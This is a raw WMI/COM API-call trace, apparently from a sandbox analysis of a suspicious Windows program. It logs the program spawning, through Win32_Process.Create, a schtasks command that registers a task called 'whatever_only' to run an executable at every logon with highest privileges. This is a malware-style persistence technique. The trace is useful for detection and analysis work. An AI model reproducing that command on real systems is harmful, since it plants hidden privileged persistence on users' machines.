[0126.691] IWbemServices:GetObject (in: This=0x1a9e2530, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1a9fb4b0, ppCallResult=0x0) returned 0x0 [0126.697] IWbemClassObject:GetMethod (in: This=0x1a9fb4b0, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1a9fbee0, ppOutSignature=0x1bb7e690*=0x1a9fc6b0) returned 0x0 [0126.698] IWbemClassObject:SpawnInstance (in: This=0x1a9fbee0, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1a9fca20) returned 0x0 [0126.699] IWbemClassObject:Get (in: This=0x1a9fca20, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277f220*=0, plFlavor=0x277f224*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277f220*=8, plFlavor=0x277f224*=32) returned 0x0 [0126.699] IWbemClassObject:Get (in: This=0x1a9fca20, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277f220*=8, plFlavor=0x277f224*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277f220*=8, plFlavor=0x277f224*=32) returned 0x0 [0126.699] IWbemClassObject:Put (This=0x1a9fca20, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"whatever_only\" /sc ONLOGON /tr \"'C:\\comproviderRuntimecommon\\whatever_only.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0126.699] IWbemClassObject:Get (in: This=0x1a9fca20, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277f2b0*=0, plFlavor=0x277f2b4*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277f2b0*=13, plFlavor=0x277f2b4*=32) returned 0x0 [0126.699] IWbemClassObject:Get (in: This=0x1a9fca20, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277f2b0*=13, plFlavor=0x277f2b4*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277f2b0*=13, plFlavor=0x277f2b4*=32) returned 0x0 [0126.700] IUnknown:QueryInterface (in: This=0x1a9ed860, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1a9ed860) returned 0x0 [0126.700] IUnknown:QueryInterface (in: This=0x1a9ed860, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0126.700] IUnknown:QueryInterface (in: This=0x1a9ed860, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0126.700] IUnknown:AddRef (This=0x1a9ed860) returned 0x3 [0126.700] IUnknown:QueryInterface (in: This=0x1a9ed860, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0126.700] IUnknown:QueryInterface (in: This=0x1a9ed860, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0126.700] IUnknown:QueryInterface (in: This=0x1a9ed860, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1a9ed868) returned 0x0 [0126.700] IMarshal:GetUnmarshalClass (in: This=0x1a9ed868, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0126.701] IUnknown:Release (This=0x1a9ed868) returned 0x3 [0126.701] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0126.701] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0126.701] IUnknown:QueryInterface (in: This=0x1a9ed860, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0126.701] IUnknown:Release (This=0x1a9ed860) returned 0x2 [0126.701] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0126.701] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0126.701] IUnknown:QueryInterface (in: This=0x1a9ed860, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0126.701] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0126.701] IUnknown:QueryInterface (in: This=0x1a9ed860, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0126.701] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0126.701] IUnknown:AddRef (This=0x1a9ed860) returned 0x3 [0126.701] IWbemClassObject:Put (This=0x1a9fca20, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1a9ed860, varVal2=0x0), Type=0) returned 0x0 [0126.702] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980510, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0126.702] WbemDefPath:IWbemPath:GetText (in: This=0x1a980510, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0126.702] WbemDefPath:IWbemPath:GetText (in: This=0x1a980510, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0126.702] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980450, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0126.702] WbemDefPath:IWbemPath:GetText (in: This=0x1a980450, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0126.702] WbemDefPath:IWbemPath:GetText (in: This=0x1a980450, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.702] WbemDefPath:IWbemPath:GetText (in: This=0x1a980510, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0126.702] WbemDefPath:IWbemPath:GetText (in: This=0x1a980510, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0126.702] IWbemServices:ExecMethod (in: This=0x1a9e2530, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1a9fca20, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1a9fe530, ppCallResult=0x0) returned 0x0 [0126.840] IWbemClassObject:Get (in: This=0x1a9fe530, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277f5c8*=0, plFlavor=0x277f5cc*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xeac, varVal2=0x0), pType=0x277f5c8*=19, plFlavor=0x277f5cc*=0) returned 0x0 [0126.841] IWbemClassObject:Get (in: This=0x1a9fe530, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277f5c8*=19, plFlavor=0x277f5cc*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xeac, varVal2=0x0), pType=0x277f5c8*=19, plFlavor=0x277f5cc*=0) returned 0x0 [0126.846] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0126.846] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0126.846] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0126.846] IUnknown:Release (This=0x1a943398) returned 0x1 [0126.848] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1a9f60d0) returned 0x0 [0126.848] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9f60d0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0126.848] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9f60d0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1a980990) returned 0x0 [0126.848] WbemDefPath:IUnknown:Release (This=0x1a9f60d0) returned 0x0 [0126.848] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980990, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1a980990) returned 0x0 [0126.848] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980990, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0126.849] WbemDefPath:IUnknown:AddRef (This=0x1a980990) returned 0x3 [0126.849] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980990, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0126.849] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980990, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0126.849] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980990, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1a9f6110) returned 0x0 [0126.849] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9f6110, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.849] WbemDefPath:IUnknown:Release (This=0x1a9f6110) returned 0x3 [0126.849] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0126.849] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0126.849] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980990, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0126.849] WbemDefPath:IUnknown:Release (This=0x1a980990) returned 0x2 [0126.849] WbemDefPath:IUnknown:Release (This=0x1a980990) returned 0x1 [0126.849] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0126.849] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0126.849] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980990, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1a980990) returned 0x0 [0126.850] WbemDefPath:IUnknown:AddRef (This=0x1a980990) returned 0x3 [0126.850] WbemDefPath:IUnknown:Release (This=0x1a980990) returned 0x2 [0126.850] WbemDefPath:IWbemPath:SetText (This=0x1a980990, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0126.850] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980990, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0126.850] WbemDefPath:IWbemPath:GetText (in: This=0x1a980990, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0126.850] WbemDefPath:IWbemPath:GetText (in: This=0x1a980990, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0126.850] WbemDefPath:IWbemPath:GetInfo (in: This=0x1a980990, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0126.850] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980990, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0126.850] WbemDefPath:IWbemPath:GetInfo (in: This=0x1a980990, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0126.851] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0126.851] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0126.851] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0126.851] IUnknown:Release (This=0x1a943398) returned 0x1 [0126.853] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1a9f6150) returned 0x0 [0126.854] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9f6150, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0126.854] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9f6150, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1a980a50) returned 0x0 [0126.854] WbemDefPath:IUnknown:Release (This=0x1a9f6150) returned 0x0 [0126.854] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980a50, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1a980a50) returned 0x0 [0126.854] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980a50, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0126.854] WbemDefPath:IUnknown:AddRef (This=0x1a980a50) returned 0x3 [0126.854] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980a50, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0126.854] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980a50, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0126.854] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980a50, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1a9f6190) returned 0x0 [0126.855] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9f6190, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.855] WbemDefPath:IUnknown:Release (This=0x1a9f6190) returned 0x3 [0126.855] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0126.855] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0126.855] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980a50, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0126.855] WbemDefPath:IUnknown:Release (This=0x1a980a50) returned 0x2 [0126.855] WbemDefPath:IUnknown:Release (This=0x1a980a50) returned 0x1 [0126.855] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0126.855] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0126.855] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980a50, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1a980a50) returned 0x0 [0126.855] WbemDefPath:IUnknown:AddRef (This=0x1a980a50) returned 0x3 [0126.855] WbemDefPath:IUnknown:Release (This=0x1a980a50) returned 0x2 [0126.855] WbemDefPath:IWbemPath:SetText (This=0x1a980a50, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0126.856] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980a50, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0126.856] WbemDefPath:IWbemPath:GetText (in: This=0x1a980a50, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0126.856] WbemDefPath:IWbemPath:GetText (in: This=0x1a980a50, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0126.856] WbemDefPath:IWbemPath:GetInfo (in: This=0x1a980a50, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0126.856] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980a50, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0126.856] WbemDefPath:IWbemPath:GetInfo (in: This=0x1a980a50, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0126.856] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980a50, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0126.856] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0126.856] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0126.856] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.856] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0126.856] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0126.856] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0126.856] 